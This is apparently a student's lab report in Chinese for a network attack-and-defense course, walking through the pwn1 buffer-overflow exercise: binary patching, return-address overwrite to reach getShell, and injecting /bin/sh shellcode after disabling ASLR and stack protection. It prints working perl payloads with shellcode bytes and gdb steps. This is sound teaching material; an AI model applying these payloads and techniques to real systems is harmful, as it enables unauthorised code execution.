20252916 2025-2026-2 《网络攻防实践》第9周作业

20252916 2025-2026-2 《网络攻防实践》第9周作业

1.知识点梳理与总结

1.1 实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

实验要求

  • 掌握NOP、JNE、JE、JMP、CMP、CALL、RET等核心汇编指令对应的机器码å
  • 熟练使用反汇编工具与十六进制编辑器,完成二进制文件的分析与修改
  • 能够通过修改机器指令,精准改变程序的正常执行流程
  • 理解缓冲区溢出攻击的核心原理,能够独立构造攻击载荷(Payload)完成BoF攻击

1.2 知识点整理

  1. 缓冲区溢出漏洞(Buffer Overflow): 一种高危的软件安全漏洞。其本质是程序在接收用户输入(如使用 gets 等无边界检查的危险函数)时,未对输入长度进行严格限制,导致超长数据越界写入,覆盖了内存栈中相邻的控制数据(如 EBP 和 EIP)。
  2. 函数调用栈与执行流劫持(BoF 攻击原理): 在 x86 架构中,函数调用依赖“栈帧”来保存局部变量和返回地址。当函数执行 ret 指令时,CPU 会从栈中弹出之前保存的返回地址加载到指令指针寄存器(EIP)中。BoF 攻击正是通过精准计算偏移量,用恶意地址覆盖掉原本的 EIP,从而在函数返回时强行劫持程序的控制流。
  3. 攻击载荷(Payload)经典架构: 一个高容错的完整 Payload 通常由四部分精巧构造而成:
    1. 填充数据(Padding): 用于填满预分配的缓冲区并覆盖旧的 EBP(本实验中为 32 字节)。
    2. 恶意返回地址(EIP): 指向后续恶意代码的内存绝对地址(需根据目标环境动态测算,并以小端序反写)。
    3. NOP 滑板(NOP Sled): 大量的空指令(\x90)。用于吸收真实运行环境与调试环境之间的“栈偏移”误差,只要 EIP 落在该区域任意位置,CPU 就会安全“滑”入真正的恶意代码。
    4. Shellcode: 一段针对特定 CPU 架构精心编写的纯机器码,要求极简且无坏字符,用于最终夺取系统控制权。
  4. 静态分析与修改工具:
    • objdump:反汇编利器,使用 objdump -d 命令可将二进制机器码翻译为汇编代码,用于梳理程序逻辑和查找函数入口地址。
    • vim & xxd:结合 Vim 的十六进制模式(:%!xxd),可在不破坏 ELF 文件格式的前提下,直接在字节级别修改机器码(如修改 call 指令的相对偏移量)。
  5. 动态跟踪与测算工具:
    • gdb:Linux 环境下强大的动态调试器。在漏洞利用中,常利用它附加(attach)到运行中的进程,通过下断点(break)、查看寄存器(info r esp)和探查内存(x/16x)来精确定位溢出数据在真实内存中的坐标。
  6. 载荷构建与投递工具:
    • perl / python:用于通过命令行脚本(如 print "\x...")将不可见的十六进制机器码精准输出并拼接为 Payload 文件。
    • cat 与 Linux 管道(|):组合使用 (cat payload; cat) | ./程序 是 Pwn 实验的经典手法。第一个 cat 负责投递炸弹,第二个 cat 负责保持输入流(stdin)不被关闭,从而留住被弹出的交互式 Shell。

2.实验过程

2.1 实验任务1

实验任务1的实验内容是手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。具体实验过程如下:

  1. 根据要求修改kali主机名,并且在学习通中下载实验所需的pwn1文件,修改主机名命令如下

    sudo su                  # 切换到root权限
    hostname 2916xc     # 直接修改主机名
    hostname                 # 验证修改结果
    

    image-20260507091613663

  2. 将实验所需的pwn1文件从学习通上下载并且通过vmtools工具传到kali虚拟机桌面,对该文件复制一下并且重命名。

    cp pwn1 pwn2916xc
    

    image-20260507093101343

  3. 使用objdump工具对重命名后的程序进行反汇编

    objdump -d pwn2916xc | more
    

    image-20260507093256260

  4. 输入/getShell,快速锁定到getShell、foo和main函数;

    image-20260507131753199

    把上述截图给AI解读总结三个函数的作用

    1. getShell 函数 (目标函数)

      • 起始地址: 0804847d

      • 核心指令: * call 8048350 <system@plt>

      • 功能分析: 这个函数非常直接,它调用了 C 标准库中的 system() 函数。 system() 的参数(即通过 movl $0x8048560, (%esp) 压入栈的那个字符串)大概率是 "/bin/sh" 或者类似打开命令行的指令。

      • 在实验中的角色: 这是想要程序最终执行的地方。正常情况下程序是不会运行到这里的,需要通过修改二进制文件,强行把执行流导向这个地址(0804847d)。

    2. foo 函数 (正常业务/漏洞函数)

      • 起始地址: 08048491

      • 核心指令:

        • call 8048330 <gets@plt>
        • call 8048340 <puts@plt>
      • 功能分析: 这个函数主要做了两件事:先调用 gets() 获取用户的输入存入缓冲区,然后调用 puts() 将刚才输入的内容打印出来。

      • 在实验中的角色: gets() 函数是出了名的危险函数,因为它不检查输入字符串的长度。如果用户输入的内容超过了分配的缓冲区,,就会造成栈溢出(Stack Overflow),从而覆盖函数的返回地址。这是后续通过构造恶意输入(Payload)来改变执行流的突破口。

    3. main 函数 (程序入口点)

      • 起始地址: 080484af

        • 核心指令:
          • 地址 80484b5: e8 d7 ff ff ff call 8048491 <foo>
      • 功能分析: 这是程序的主函数,逻辑非常简单,就是直接调用 foo 函数,执行完毕后通过 mov $0x0, %eax 返回 0 并退出。

      • 在实验中的角色: 这是需要进行手工修改的地方。

  5. 由于任务是让 修改main 函数调用 getShell。我们需要修改 main 函数中那条 call 指令的机器码。

    首先定位要修改的指令:

    在 main 函数中,调用 foo 的机器码是: 80484b5: e8 d7 ff ff ff。其中e8 是 call 指令的操作码。d7 ff ff ff 是目标地址相对于当前指令下一条指令的相对偏移量(小端存储表示)。由于这条指令是5个字节,故当前 call 指令下一条指令的地址是:080484ba

    • 原目标函数 foo 的地址是:08048491
    • 相对偏移 = 08048491 - 080484ba = FFFFFFD7(负数用十六进制补码表示)。
    • 因为 x86 架构是小端序(低位字节在低地址),所以在内存中显示为 d7 ff ff ff。

    其次计算指向 getShell的新偏移量

    • 目标函数 getShell 的地址是:0804847d
    • 下一条指令的地址依然是:080484ba
    • 新相对偏移 = 0804847d - 080484ba = FFFFFFC3

    最终修改方案: 将 FFFFFFC3 转换为小端序,即为 c3 ff ff ff。

  6. 根据步骤5的计算原理,用vim编辑器打开目标文件进行修改

    vim pwn2916xc
    

    image-20260507155615035

    按esc键,输入:%!xxd将其变为16进制

    image-20260507155813216

    输入/e8 d7进行搜索

    image-20260507160010878

  7. 定位到高亮显示的这一行,把d7改为c3

    image-20260507160347007

  8. 改完后,还原文件内容为二进制格式:%!xxd -r并且保存退出。

    然后执行反汇编命令,查看main的调用逻辑,可以看到main函数的调转已经变为804847d ,机器码修改成功。

    objdump -d pwn2916xc | more
    

    image-20260507162306915

  9. 执行修改后的程序,可以看见确实成功进入了Shell交互界面。实验成功!!!

    ./pwn2916xc
    

    image-20260507162854434

2.2 实验任务2

本任务无需修改程序源文件,仅通过构造恶意输入字符串,利用foo函数的缓冲区溢出漏洞,覆盖栈中的返回地址,劫持程序执行流至getShell函数。

  1. 复制一个新的文件用于实验任务2

    cp pwn1 pwn2916xc-2
    

    image-20260507164016621

  2. 输入 objdump -d pwn2916xc-2| more查看foo函数内容

    08048491 <foo>:
     8048491:       55                      push   %ebp
     8048492:       89 e5                   mov    %esp,%ebp
     8048494:       83 ec 38                sub    $0x38,%esp
     8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
     804849a:       89 04 24                mov    %eax,(%esp)
     804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
     80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
     80484a5:       89 04 24                mov    %eax,(%esp)
     80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
     80484ad:       c9                      leave
     80484ae:       c3                      ret
    

    结合AI对于代码的分析解读得出如下结论

    确定缓冲区起点: lea -0x1c(%ebp), %eax 这句话的意思是,gets 函数接收用户输入的缓冲区起始地址是 ebp - 0x1c(即 ebp - 28 字节)。

    计算填充长度:

    • 从缓冲区起点到 ebp 寄存器,需要填满 28 字节。
    • 覆盖掉原本保存的 ebp 本身,还需要 4 字节(32位系统)。
    • 过了 ebp 之后,下一个 4 字节就是我们要找的返回地址了!

    得出结论: 我们需要先输入 28 + 4 = 32 个字节的“垃圾数据”(比如 32 个字符 'A'),紧接着输入的 4 个字节就会精准覆盖掉原本的返回地址。

  3. 需要注意x86 架构的计算机在内存中存储数据时,采用的是“低位字节存放在低地址”的小端序规则。 所以,getShell地址 0x0804847d 在我们构造的字符串中,必须倒过来写,也就是: \x7d\x84\x04\x08。

  4. 故构造Payload 并发起攻击的内容为32 个任意字符 + \x7d\x84\x04\x08,由于这些十六进制的字符无法通过键盘直接敲进去,我们需要借助终端命令行工具(如 perl 或 python)来生成并管道(pipe)给程序从而发起攻击。

    (perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"'; cat) | ./pwn2916xc-2
    

    image-20260507165349401

    发现没有执行权限,输入chmod u+x ./pwn2916xc-2给程序执行权限后再次尝试

    image-20260507223431685

    可以发现,执行程序后,成进入Shell交互界面,可以运行ls、whoami等指令,实验2任务圆满完成!!!

2.3 实验任务3

本任务需要构造包含自定义Shellcode的攻击载荷,通过缓冲区溢出漏洞将Shellcode注入程序内存空间,并且运行这段Shellcode,实现不依赖程序自带getShell函数的Shell获取。

  1. 安装execstack工具

    wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
    

    image-20260507230447762

    安装这个安装包

    sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb
    

    image-20260507230740464

    查看是否安装成功以及版本

    image-20260507230857982

  2. 输入 execstack -s pwn1 设置堆栈可执行,输入 execstack -q pwn1 验证文件的堆栈是否可执行,若输出X则代表可以执行。

    image-20260507231210740

  3. 关闭地址空间布局随机化(0表示关闭,2表示开始),并且输入more /proc/sys/kernel/randomize_va_space进行验证,若输出0则表示关闭成功。

    sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space'
    

    image-20260507231451528

  4. 利用 Perl 脚本生成一个包含占位符的初始 Payload,并输出到文件中,用于后续在内存中“踩点”。

    载荷结构: 32字节填充 + 4字节假地址(\x01\x02\x03\x04) + 64字节NOP滑板 + 24字节Shellcode

    执行如下命令:

    perl -e 'print "A" x 32; print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode2916xc
    

    image-20260508133706404

  5. GDB调试确定Shellcode的真实内存地址。

    通过附加进程和打断点的方式,在程序崩溃前一瞬间拦截它,寻找注入数据的真实内存位置。

    1. 终端 A(运行程序): 注入载荷并挂起等待。

      (cat input_shellcode2916xc; cat) | ./pwn1
      

      image-20260508134955577

    2. 终端 B(查找 PID 并附加): 找到程序的进程号并用 GDB 介入。

      ps -ef | grep pwn1  # 记下 PID
      gdb
      (gdb) attach 目标PID
      

      image-20260508165614883

      PID为197498

      image-20260508165718250

    3. 输入 disassemble foo,对 foo 进行反编译

      image-20260508165740632

      可以看见ret的指令地址是0x080484ae

    4. 下断点并放行: 在 foo 函数的 ret 指令处下断点,然后继续运行。

      break *0x080484ae
      

      image-20260508181554718

      在终端A中按下回车键,终端B中输入

      c
      

      image-20260508181621160

    5. 查看栈顶指针:

      info r esp
      

      image-20260508181726345

      可以看到输出的 esp 地址为 0xffffcf7c

    6. 确认现场: 查看该地址的内存内容,验证占位返回地址的位置:

      x/16x 0xffffcf7c
      

      image-20260508181951690

    7. 计算最终地址: 既然 0xffffcf7c 存放的是返回地址,那么它的下一个地址(即 0xffffcf7c + 4 = 0xffffcf80)就是 NOP 滑板的起点!

  6. 构造最终的Payload并执行攻击

    把包含真实地址的攻击载荷写入一个独立的final_payload文件中

    perl -e 'print "A" x 32; print "\x80\xcf\xff\xff" . "\x90" x 64 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\n"' > final_payload
    

    发起攻击

    (cat final_payload; cat) | ./pwn1
    

    image-20260508185922979

    可以看到正常进入命令行可以输入ls等命令,说明攻击成功,实验任务3圆满完成!!!

3.学习中遇到的问题及解决

问题1:修改主机名后终端前的提示信息还是没有改过来

image-20260507092206329

解决办法:发现这个其实改过来了,需要重新开一个新的终端就可以正常显示了。

image-20260507092609412

问题2:在实验任务1完成进行反编译验证时报错

image-20260507161344607

解决方法:经查询,这个应该是没有转回二进制文件就保存退出了,导致了二进制文件(ELF文件)的底层结构已经被破坏了,需要重新复制原始文件重头来做一次,修改之后也是验证成功了。

问题3:在实验任务2的最后进行Payload攻击的时候,执行perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"' | ./pwn2916xc报如下错误

99fc929d-2b6e-4c7b-a536-4810f6b61961

解决办法:通过AI搜索得知这个是因为出现了段错误,应该是已经成功攻击了,perl 瞬间打印完 36 个字节的恶意字符串,喂给 ./pwn2916xc-2。打印完后,进程立刻结束了。随着 perl 的结束,管道的“输入端”就被关闭了。此时,程序成功跳到了 getShell,并执行了 system("/bin/sh") 尝试打开一个命令行。但弹出的 /bin/sh 命令行刚准备接收输入的指令,却发现输入流已经被 perl 关闭了!它觉得“没事干了”,瞬间退出了。/bin/sh 退出后,getShell 函数继续往下执行准备 ret(返回),但此时栈已经被你刚才的 32 个 'A' 彻底破坏了,它去读了一个非法的地址,最终导致了 segmentation fault(段错误)。解决办法就是为了防止输入流被过早关闭,利用 cat 命令的特性,在 perl 执行完后,强行把输入流“续上”。即把命令修改成如下(perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"'; cat) | ./pwn2916xc-2。最后也是成功解决问题,完成了攻击。

4.学习感悟、思考等

此次实验通过三种截然不同的方式完成对目标程序的控制权劫持,我对 x86 汇编和栈内存布局有了具象化的理解。在实验过程中也遇到了许多困难与挑战,例如程序执行权限不够,程序执行出现段错误,执行了却异常终止等等,但是通过AI的帮助我逐渐找到问题的原因,最终极大的锻炼了我的搜索解决问题以及实际操作的能力,也让我对于理解软件漏洞和防御有了更加深刻的理解。

posted @ 2026-05-12 11:21  copyxu  阅读(38)  评论(0)    收藏  举报